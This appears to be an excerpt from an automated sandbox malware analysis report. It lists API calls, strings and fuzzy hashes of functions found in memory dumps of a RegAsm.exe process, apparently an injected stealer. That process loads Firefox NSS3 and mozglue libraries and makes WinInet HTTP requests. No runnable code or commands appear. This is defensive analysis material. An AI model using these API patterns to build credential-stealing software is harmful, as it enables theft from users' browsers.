Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: c8060e8165126ccd1197ba2aa43331da44a4aea0cfe52d65ed6b59c22c0df419
Instruction ID: 30b1556fa12a5b7a960d54dca2930deeb47358dc78e1a287f4275a3c7f364df4
Opcode Fuzzy Hash: c8060e8165126ccd1197ba2aa43331da44a4aea0cfe52d65ed6b59c22c0df419
Instruction Fuzzy Hash: 095108F5D00A069BDB115F24DC0169A37B4FF2535CF158634E80A62A11FB31F565CBD2

Function 6C97ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C97ACE2
malloc.MOZGLUE(00000001), ref: 6C97ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C97AD02
TlsGetValue.KERNEL32 ref: 6C97AD3C
calloc.MOZGLUE(00000001,?), ref: 6C97AD8C
PR_Unlock.NSS3 ref: 6C97ADC0
free.MOZGLUE(00000000), ref: 6C97AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C97AE58
free.MOZGLUE(00000000), ref: 6C97AE69
free.MOZGLUE(?), ref: 6C97AE78
PR_Unlock.NSS3 ref: 6C97AE8C
free.MOZGLUE(?), ref: 6C97AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C97AEC7

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0b7c3f6a7e82c3a3a2966c5713cd62622a787d36a69a553c6ec4ac80566a6436
Instruction ID: cadaf681904495e08e25a952f91951c433d10d27440689f4e363db8b3d77a6fb
Opcode Fuzzy Hash: 0b7c3f6a7e82c3a3a2966c5713cd62622a787d36a69a553c6ec4ac80566a6436
Instruction Fuzzy Hash: 6D51E3B0E022278BDF14DF58DD416AE77B8BF0A348F548025D908A3B11DB35E946CBE2

Function 00414DA0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00F83C20), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,00F82B98,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
lstrlenA.KERNEL32(00000000), ref: 00414E0F

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
lstrlenA.KERNEL32(00000000), ref: 00414E63
strtok.MSVCRT ref: 00414E7E
lstrlenA.KERNEL32(00000000), ref: 00414E8E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

ERROR, xrefs: 00414DEA
ERROR, xrefs: 00414F12
ERROR, xrefs: 00414F4F
ERROR, xrefs: 00414F89
ERROR, xrefs: 00414E99

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 403038929566516ced08024de874d387cf2f9a99d356b9ee5bed260c26f508a9
Instruction ID: 8f24e6183c5aafacdfff780c7fa5c74c912095ee1ff337cf81358bf1c292c6a0
Opcode Fuzzy Hash: 403038929566516ced08024de874d387cf2f9a99d356b9ee5bed260c26f508a9
Instruction Fuzzy Hash: D5516130911108ABCB14FF61CC9AEED7738AF50358F50401EF80B665A2DF786B95CB6A

Function 6CA54C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CA54CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA54CFD
sqlite3_value_text16.NSS3(?), ref: 6CA54D44

Strings

API call with %s database connection pointer, xrefs: 6CA54CF6
bad parameter or other API misuse, xrefs: 6CA54D05
invalid, xrefs: 6CA54CF1
out of memory, xrefs: 6CA54C78, 6CA54C9E
unknown error, xrefs: 6CA54D56
another row available, xrefs: 6CA54D20
abort due to ROLLBACK, xrefs: 6CA54D27, 6CA54D33
no more rows available, xrefs: 6CA54D2E

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 41a7822e90c2e6d52aa494e1c256a70c793ecd8276a5398875eeba8705b43db2
Instruction ID: 5a67cc2e5694cbde015626bec61e64d61d2617cd71234ef1823c6a89543d8b3b
Opcode Fuzzy Hash: 41a7822e90c2e6d52aa494e1c256a70c793ecd8276a5398875eeba8705b43db2
Instruction Fuzzy Hash: BB314873E08A1167D7084629A8117E573767BD2319FD9C129D8245BE58C731ECF2C3E2

Function 6C9B2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C9B2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C9B2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C9B2E33

Part of subcall function 6CA9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CA9D963

PR_LogPrint.NSS3(?,00000000), ref: 6C9B2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C9B2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C9B2E81

Strings

C_InitPIN, xrefs: 6C9B2DF1
pPin = 0x%p, xrefs: 6C9B2E63
hSession = 0x%x, xrefs: 6C9B2E0E, 6C9B2E1E
ulPinLen = %d, xrefs: 6C9B2E7C
(CK_INVALID_HANDLE), xrefs: 6C9B2E2C

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 84bd5ba683c28b2d2d9deacb29688cfdfb74a4239edccba446685f475a23e0c9
Instruction ID: 8eab4992b0af20095f302c90dd7d03b11ae92457f9d41ce905203d9a13173a83
Opcode Fuzzy Hash: 84bd5ba683c28b2d2d9deacb29688cfdfb74a4239edccba446685f475a23e0c9
Instruction Fuzzy Hash: 2331257060120ABFCB089F55DD4CB4B7BB5EB5A318F048124F808A7B11DB30D99ADBE1

Function 6C8AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C874A68), ref: 6C8A945E
Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8A9470
Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8A9482
Part of subcall function 6C8A9420: __Init_thread_footer.LIBCMT ref: 6C8A949F

GetCurrentThreadId.KERNEL32 ref: 6C8AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8AEC8C

Part of subcall function 6C8A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8A94EE
Part of subcall function 6C8A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8A9508

GetCurrentThreadId.KERNEL32 ref: 6C8AECA1
AcquireSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C8AECC5
ReleaseSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C8AED19
CloseHandle.KERNEL32(?), ref: 6C8AED28
free.MOZGLUE(00000000), ref: 6C8AED2F
ReleaseSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C8AEC94

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 5af17453208853f1546ae02fcd1f288029b45d070cb9c9f4d7b6e90309c42251
Instruction ID: 693ca61410e7889f545f962650351603433c8f0908b3bc6b919f094aa19a9430
Opcode Fuzzy Hash: 5af17453208853f1546ae02fcd1f288029b45d070cb9c9f4d7b6e90309c42251
Instruction Fuzzy Hash: FC21F671600208ABDB319FA8E904AAB3739EB4A36DF104E30FC1487740D7319826CBE5

Function 6C984880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9848A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C9848C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C9848D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C9848FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C984908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C984947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C98496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C984988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAA8DAC,?), ref: 6C9849DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9849FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C984ACB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: bcc3ef0da0ae79bbbb2fa979949055fb0846213799a509c13bf0b09bea4cc098
Instruction ID: 086daf2a2787b2b72978cbe9e62c51340eae011970b4283f326a3fd5e7989d55
Opcode Fuzzy Hash: bcc3ef0da0ae79bbbb2fa979949055fb0846213799a509c13bf0b09bea4cc098
Instruction Fuzzy Hash: FC512570A023008FEB108F65DC61B9B76ECAF5130CF144828E919AFB81EB79D458CF56

Function 6CA52D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA52D9F

Part of subcall function 6C90CA30: EnterCriticalSection.KERNEL32(?,?,?,6C96F9C9,?,6C96F4DA,6C96F9C9,?,?,6C93369A), ref: 6C90CA7A
Part of subcall function 6C90CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C90CB26

sqlite3_exec.NSS3(?,?,6CA52F70,?,?), ref: 6CA52DF9
sqlite3_free.NSS3(00000000), ref: 6CA52E2C
sqlite3_free.NSS3(?), ref: 6CA52E3A
sqlite3_free.NSS3(?), ref: 6CA52E52
sqlite3_mprintf.NSS3(6CABAAF9,?), ref: 6CA52E62
sqlite3_free.NSS3(?), ref: 6CA52E70
sqlite3_free.NSS3(?), ref: 6CA52E89
sqlite3_free.NSS3(?), ref: 6CA52EBB
sqlite3_free.NSS3(?), ref: 6CA52ECB
sqlite3_free.NSS3(00000000), ref: 6CA52F3E
sqlite3_free.NSS3(?), ref: 6CA52F4C

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: d70cf4e304800d18dca9e0e8815cbc5372dfa1e71cb6211b3aba281dbc7526ac
Instruction ID: 3806d8c7c92600aba6cb10a8e4a39c69a655aaff362cd5b41f500ca0959da622
Opcode Fuzzy Hash: d70cf4e304800d18dca9e0e8815cbc5372dfa1e71cb6211b3aba281dbc7526ac
Instruction Fuzzy Hash: 736183B6F012058BEB00CF64D885BDEB7B1EF58348F598128DC55A7701E771E8A5CBA1

Function 6C9A2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C9A3F23,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23,?), ref: 6C9A2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23,?), ref: 6C9A2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23,?), ref: 6C9A2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23,?), ref: 6C9A2C93

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23,?), ref: 6C9A2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23,?), ref: 6C9A2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C99E477,?,?,?,00000001,00000000,?,?,6C9A3F23), ref: 6C9A2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C99E477,?,?,?,00000001,00000000,?), ref: 6C9A2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C99E477,?,?,?,00000001,00000000,?), ref: 6C9A2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C9A2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C9A2D71
PR_Unlock.NSS3(?), ref: 6C9A2D7E

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 6acdae4e09f3abc4bb688c5aae86379fc6de928cf7e70031a9be7e01bd2a4a8e
Instruction ID: b43665b6abf3066bb2d58913850ef6ff32cc668b7b984ddc3365ce124a91c38e
Opcode Fuzzy Hash: 6acdae4e09f3abc4bb688c5aae86379fc6de928cf7e70031a9be7e01bd2a4a8e
Instruction Fuzzy Hash: CE5106B6D00605ABDB009F64DC458AA7778FF2931CB188524ED1C97B12FB31E959C7E1

Function 6C904C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904CB0
PR_Unlock.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904D97
PR_Lock.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904DBA
PR_WaitCondVar.NSS3 ref: 6C904DD4
PR_Unlock.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904DEF

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: b0db712eaa41d6b23a9b7a5281b675b533db38875a6b689df8793cdb8b2df024
Instruction ID: 2175ad2e4f2b359e1c36614f0f3330d92207d7788cd18bd47d87401d2503396b
Opcode Fuzzy Hash: b0db712eaa41d6b23a9b7a5281b675b533db38875a6b689df8793cdb8b2df024
Instruction Fuzzy Hash: F7416DB5A04B26CFCB04AF78D5841A97BB4BF19314F058A6DD9489B711EB30E885CFC1

Function 6C88C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C88C5A3
WideCharToMultiByte.KERNEL32 ref: 6C88C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C88C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C88CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C88CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C88CAA5

Strings

(null), xrefs: 6C88C596
0, xrefs: 6C88D30A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 94d0f1c7ba404b6187f146aaee8841efa8878e0e467be1bf9dcf58f183c4a0a1
Instruction ID: 8a945cfe38eebeb24e1023856edea2cecdbd384258ce69feaa0b514a46bd2c29
Opcode Fuzzy Hash: 94d0f1c7ba404b6187f146aaee8841efa8878e0e467be1bf9dcf58f183c4a0a1
Instruction Fuzzy Hash: BBA1A43060A3429FDB20DF28C68475ABBE1AF89748F048D2DE995D7A46D731EC05CB82

Function 6C863480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C863492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C8634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C8634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C86350E
__Init_thread_footer.LIBCMT ref: 6C863522
__aulldiv.LIBCMT ref: 6C863552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C86357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C863592
